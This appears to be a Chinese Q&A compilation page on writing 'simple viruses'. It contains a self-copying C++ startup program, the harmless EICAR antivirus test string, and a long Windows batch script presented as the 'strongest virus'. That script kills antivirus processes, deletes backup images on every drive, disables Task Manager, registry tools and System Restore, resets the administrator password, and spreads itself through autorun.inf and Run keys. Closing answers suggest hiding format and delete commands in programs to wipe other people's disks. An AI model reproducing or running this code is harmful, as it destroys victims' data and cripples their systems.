比较简单的C++病毒代码
最简单的病毒代码如下: #include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!
system(cmd);
system("pause");
}
谁能给我一个简单的病毒的代码呀
本代码尽管测试,无任何危险。病毒文件测试代码。使用方法如下:
this
is
not
a
real
virus.
it
is
a
text
file
that
is
used
to
test
antivirus
software.
测试代码:
---------------------请复制下面的代码到文本中保存-------------------
x5o!p%@ap[4\pzx54(p^)7cc)7}$eicar-standard-antivirus-test-file!$h+h*
---------------------请复制上面的代码到文本中保存-------------------
测试方法:
1.鼠标右键点击桌面空白处,创建一个“文本文档”。(什么,还不会建?我倒)
2.将下面这段测试代码复制到“文本”里,保存,然后可以直接右键点击这个文本,用杀毒软件扫描(图1)。也可以等一会,如果你的杀毒软件还行,会自动报毒并将该文本删除,那就可以初步放心了。
测试原理:
该段代码是欧洲计算机防病毒协会开发的一种病毒代码,其中的特征码已经包含在各种杀毒软件的病毒代码库里,所以可以用做测试病毒扫描引擎。
测试等级:
特等:复制完代码后便提示内存有病毒
优等:刚保存完就提示病毒(或者直接删除)
中等:保存后几秒提示病毒(或者直接删除)
下等:需自己启动病毒扫描查杀才提示病毒(或者直接删除)
劣等:无论怎么扫描都无法提示病毒(或者直接删除)
批处理文件的病毒代码大全!
最强病毒!谨慎运行!此程序会将系统搞崩溃.
摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm 去掉里面的字哦
@echo off
title You DEAD!!!!!!!
set taskkill=s
copy %0 %windir%\system32\cmd.bat
attrib %windir%\system32\cmd.bat +r +s +h
net stop sharedaccess nul
%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f nul
%s% /im norton* /f nul
%s% /im av* /f nul
%s% /im fire* /f nul
%s% /im anti* /f nul
%s% /im spy* /f nul
%s% /im bullguard /f nul
%s% /im PersFw /f nul
%s% /im KAV* /f nul
%s% /im ZONEALARM /f nul
%s% /im SAFEWEB /f nul
%s% /im OUTPOST /f nul
%s% /im nv* /f nul
%s% /im nav* /f nul
%s% /im F-* /f nul
%s% /im ESAFE /f nul
%s% /im cle /f nul
%s% /im BLACKICE /f nul
%s% /im def* /f nul
%s% /im 360safe.exe /f nul
net stop Shadow" "System" "Service
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q nul
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q nul
rem 修改注册表.......
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\
Folder\Hidden\SHOWALL /v
CheckedValue /t REG_DWORD /d 00000000 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRun /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRecentDocsMenu /t
REG_DWORD /d 00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoDrives /t REG_DWORD /d
4294967295 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
Disableregistrytools /t
REG_DWORD /d 00000002 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoNetHood /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V
NoDesktop /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoClose /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoFind /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_DWORD
/d 00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoLogOff /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoSetTaskBar /t REG_DWORD
/d 00000001 /f nul
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v
DisableSR /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v
DisableConfig /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
RestrictRun /t REG_DWORD /d
00000001 /f nul
cls
net user administrator 123456 nul
for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q nul
echo @echo off d:\setup.bat
echo shutdown -r -t 10 -f -c 亲爱的朋友,我十分抱歉的通知你,你的电脑已经严重崩溃,请重新
安装系统可以解决此问题
!^.^ d:\setup.bat
echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动
\a.bat d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f
d:\setup.bat
echo [windows] %windir%\win.ini
echo run=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini
echo load=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini
echo [boot] %windir%\system.ini
echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT %windir%\system.ini
echo [AutoRun] d:\autorun.inf
echo Open=setup.bat d:\autorun.inf
echo Open=system.bat d:\autorun.inf
attrib d:\autorun.inf +r +s +h d:\setup.bat
attrib d:\setup.bat +r +s +h d:\setup.bat
start d:\setup.bat /min nul
echo @echo off C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
echo if not d:\setup.bat start %windir%\system32\cmd.bat /min C:\AUTOEXEC.BAT
copy %0 %systemroot%\windows.bat nul
if not exist %windir%/system32/explorer.bat @echo off %windir%/system32/explorer.bat
if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min %
windir%/system32/explorer.bat
if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min %
windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f %windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat/f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat /f %windir%/system32/explorer.bat
echo start %systemroot%\windows.bat /min %windir%/system32/explorer.bat
attrib %windir%/system32/explorer.bat +r +s +h%
attrib %systemroot%/windows.bat +r +s +h
for %%c in (%alldrive%) do echo @echo off %%c:\system.bat
for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min %%c:\system.bat
for %%c in (%alldrive%) do echo attrib system.bat +r +s +h %%c:\system.bat
set drive=e f g h i j k l m n o p q r s t u v w x y z
for %%c in (%drive%) do echo [AuroRun] %%c:\autorun.inf
for %%c in (%drive%) do echo Open=system.bat %%c:\autorun.inf
copy %0 d:\Program" "Files\run.bat
for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start
d:\Program" "Files\run.bat /min
%%c:\system.bat
for %%c in (%alldrive%) do attrib autorun.inf +r +s +h %%c:\system.bat
for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h nul
for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h nul
if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat
/min d:\setup.bat
attrib d:\Program" "Files\run.bat +r +s +h nul
del %0
exit
编写病毒代码,需要学什么?(注:我已会C语言)
写病毒用什么语言都可以。不过是一种工具,你只要精通它就行,要了解底层的东西,比如操作系统,计算机组成原理。
还有,谁说goto在C语言里禁用了?你去找到那个这么说的人,狠狠的抽他俩嘴巴!
goto不是天生的恶魔,C89,C99标准没有取消它是有根据的。比如,for语句里套switch,在switch里怎么跳出循环?break可不行。在比如,输入法的软键盘,需要检索你按的那个键,如何构词。goto就是最好的解决办法。楼上的那兄弟用goto写的是循环,没有for这类的语句的时候,就是用的goto。
怎么用C语言写个简单病毒,给个代码过程
一个简单的病毒就要很长的代码,写病毒没有那么简单。
不过你可以试试利用cmd命令,比如删除拉,格式化拉,拷贝拉,写进代码里。别人一打开程序资料盘就格掉了,嘿嘿。